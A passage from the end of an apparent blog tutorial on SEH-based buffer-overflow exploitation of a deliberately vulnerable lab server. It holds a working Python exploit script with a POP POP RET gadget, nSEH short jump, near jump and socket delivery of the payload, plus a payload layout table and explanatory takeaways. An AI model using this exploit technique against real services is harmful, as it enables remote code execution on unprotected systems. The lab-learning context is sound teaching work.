</span></span><span class="line"><span class="cl">    <span class="n">ppr_gad</span>   <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="mh">0x6250120b</span><span class="p">)</span>  <span class="c1"># POP ECX POP ECX RET in essfunc.dll</span>
</span></span><span class="line"><span class="cl">    <span class="n">nseh</span>      <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\xeb\x80\x90\x90</span><span class="s2">&#34;</span>            <span class="c1"># short jump back 128 bytes + 2 NOPs</span>
</span></span><span class="line"><span class="cl">    <span class="n">near_jump</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\xe9</span><span class="s2">&#34;</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;i&#34;</span><span class="p">,</span> <span class="o">-</span><span class="mi">3422</span><span class="p">)</span>  <span class="c1"># near jump back to NOP sled</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">payload</span>  <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x90</span><span class="s2">&#34;</span> <span class="o">*</span> <span class="mi">16</span>                    <span class="c1"># NOP sled at offset 0</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">+=</span> <span class="n">buf</span>                              <span class="c1"># shellcode at offset 16</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span> <span class="o">*</span> <span class="p">(</span><span class="mi">3417</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>    <span class="c1"># filler up to near jump</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">+=</span> <span class="n">near_jump</span>                        <span class="c1"># near jump at offset 3417</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span> <span class="o">*</span> <span class="p">(</span><span class="mi">3543</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>    <span class="c1"># filler up to nSEH</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">+=</span> <span class="n">nseh</span>                             <span class="c1"># nSEH at offset 3543</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">+=</span> <span class="n">ppr_gad</span>                          <span class="c1"># handler at offset 3547</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span> <span class="o">*</span> <span class="p">(</span><span class="mi">3950</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>    <span class="c1"># padding to trigger vulnerable path</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[*] Payload    : </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="si">}</span><span class="s2"> bytes&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[*] Layout     : [NOP x16][Shellcode][Filler][NearJump][Filler][nSEH][PPR][Pad]&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="n">TARGET_IP</span><span class="p">,</span> <span class="n">TARGET_PORT</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] Connected&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;GMON /.:/&#34;</span> <span class="o">+</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] Payload sent&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">s</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] Done. Check target for calc.exe&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">ConnectionRefusedError</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[-] Connection refused. Is the service running?&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[-] Error: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">exploit</span><span class="p">()</span>
</span></span></code></pre></div><hr>
<h2 id="payload-layout">Payload Layout</h2>
<pre tabindex="0"><code>Offset 0-15      : NOP sled (16 bytes)
Offset 16-235    : shikata_ga_nai encoded shellcode (220 bytes)
Offset 236-3416  : A filler
Offset 3417-3421 : Near jump \xe9 (5 bytes, jumps back to offset 0)
Offset 3422-3542 : A filler
Offset 3543-3546 : nSEH = \xeb\x80\x90\x90 (short jump back 128 bytes)
Offset 3547-3550 : Handler = 0x6250120b (POP POP RET in essfunc.dll)
Offset 3551-3949 : A padding to reach minimum trigger length
Total            : 3950 bytes
</code></pre><hr>
<h2 id="key-takeaways">Key Takeaways</h2>
<p>SEH exploitation does not need the function to return cleanly. The overflow itself triggers the exception. Even a completely corrupted stack will still dispatch the exception and call the overwritten handler.</p>
<p>POP POP RET is a precise mechanism, not magic. The handler is called with four arguments pushed on the stack. Two POPs skip past the return address and ExceptionRecord pointer, leaving ESP pointing at EstablisherFrame, which holds the address of the SEH record. RET pops that into EIP and lands on nSEH.</p>
<p>Short jumps only reach 128 bytes in either direction. When shellcode is thousands of bytes away, island hopping solves it. Short jump to near jump, near jump to shellcode. Each hop is limited but together they cover arbitrary distance.</p>
<p>SafeSEH rejects handler addresses not listed in a module&rsquo;s SafeSEH table. Always verify DLL characteristics and Load Configuration Directory before choosing a module as a gadget source. A module with zero DLL characteristics and no Load Configuration Directory is not SafeSEH protected.</p>
<p>Payload size matters for triggering the vulnerable code path. The <code>GMON</code> handler only calls <code>Function3</code> when the input exceeds 3950 bytes. Sending less does nothing. Always match payload length to what caused the original crash.</p>
<p>The minimum payload size being 3950 bytes is also why the shellcode cannot live after the SEH record. There is almost no stack space left after offset 3950 before hitting a page boundary. Shellcode must live in the filler region before the SEH record and the jump chain must reach backward to it.</p>
<hr>
<p><em>This exploit runs against a deliberately vulnerable lab binary compiled without modern mitigations. It is a learning exercise.</em></p>
]]></content:encoded></item></channel></rss>